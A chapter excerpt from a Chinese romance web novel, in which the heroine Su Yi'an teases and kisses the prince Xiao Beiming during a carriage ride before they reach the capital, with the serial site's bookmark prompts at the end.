苏苡安生性好动,到底是在马车里坐不住,没多久,她就要下车骑马,活动一下筋骨。 萧北铭立即抬手勾住了她的腰,把人揽入怀里,紧紧困住,十分霸道地说, “哪里都不许去,就在这里陪我。” 他是真的担心,她马鞭子一扬,人就跑没了。 “那你给我笑一个,我就在这里陪你,要不然,我就自己出去找乐子。” 萧北铭目光灼灼地看着她,明眸皓齿,颇为心动,禁不住喉结滑动,但是,还是没笑出来。 苏苡安将一切尽收眼底,勾唇一笑,抬手用中指的指腹,自下而上挑了一下他高耸的喉结。 萧北铭像过电一样往后缩了一下,倏尔一股热气席卷全身。 苏苡安看着他迅速泛起了红晕的脸颊和耳尖,抿唇浅笑, “你怎么这么纯情啊?还会害羞呢。萧禛,不会是纯真的真吧?” 萧北铭脸上的红晕又加重了一层,心跳也加快了。 从前,他一见她就这样,他竟然一直是认为自己一见她,就气得热毒发作,原来,这叫脸红心跳,怦然心动…… 萧北铭郑重道, “抱歉,我以前对你太凶了,以后肯定不会了。” 苏苡安被他没来由的道歉弄得没头脑: 这家伙,到底是怎么样的脑回路,才说出这样的话啊? 倒是蛮有趣的。 “没关系啊,美男子做错什么事,在我这里都是可以被原谅的。只要不是生死,其余的都是擦伤。” 萧北铭盯着她明眸善睐的双眼,黑瞳之中似乎有星辰闪烁,顾盼流转之间,又有阅历沉淀的笃定和淡然。 “你从前没有在道观里修行吧?”萧北铭终于问了一件他想知道的事情之一。 本小章还未完,请点击下一页继续阅读后面精彩内容!苏苡安抬眸和他对视,满眼含笑, “我当然在道观,苦修十五载,专门研究怎么迅速让美男子脸红。” 萧北铭自然是一个字都没信她的。 罢了,她不想说的事,真是问了也白问。 这些日子,萧北铭也看明白了,她跟自己不一样。 自己想撒什么谎,一定会做足了准备,以防疏漏。 而她,各种谎话张嘴就来,也不管这话着不着边际,别人会不会信服。 她总是有理,并且,绝不承认自己的理是歪理。 她有一套自己的理念,且信念感强得很。 即便别人都觉得她不正常,她也依然特立独行,我行我素…… 二人目光交错间,萧北铭只觉得她精致绝伦的五官在自己眼前不断地放大,而后,唇上蓦然一软一热。 他根本就没反应过来刚刚发生了什么事,只见她的笑容更甚了: “你好甜啊。” 萧北铭只觉得自己的脸颊烧了起来。 啊! 她怎么这么可恶啊! 这种事情,难道不是应该男人主动吗? 苏苡安眉眼弯弯,沾沾自喜道, “瞧瞧你脸红的,像个苹果,看来,我的修行颇有成效呢。” 这个蜻蜓点水般的吻,彻底惹恼了萧北铭,他觉得自己做男人的尊严受到了前所未有的挑衅,激起了他的胜负欲。 一手圈着她的腰,一手摁住了她的后脑勺,马上报复了回去。 一番生吞活剥,良久之后才松开,看着她憋红的脸,剑眉一扬, “你更甜。” 苏苡安抿了抿自己唇上的血迹,柳眉一挑,嘴角含笑, “难道不是腥吗?” 萧北铭幽幽不输阵:“不觉得,要不然,再品品?” 车马一路不疾不徐,十日后,终于抵达了上京城。 铁柱赶着马车在镇北王府门前停下。 苏苡安一路上都心心念念要见到小老虎了,现下,也是有些迫不及待了,跳下马车就往门里走,也不等萧北铭。 萧北铭从后面追上,抓住了她的手腕, “你回自己的府邸。” 苏苡安嘴角一抽,疑惑的眼神回眸看向他: 他竟然不让我入王府! 这人没事儿吧? 一路上嘴都亲肿了,现在又跟我装上了? 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。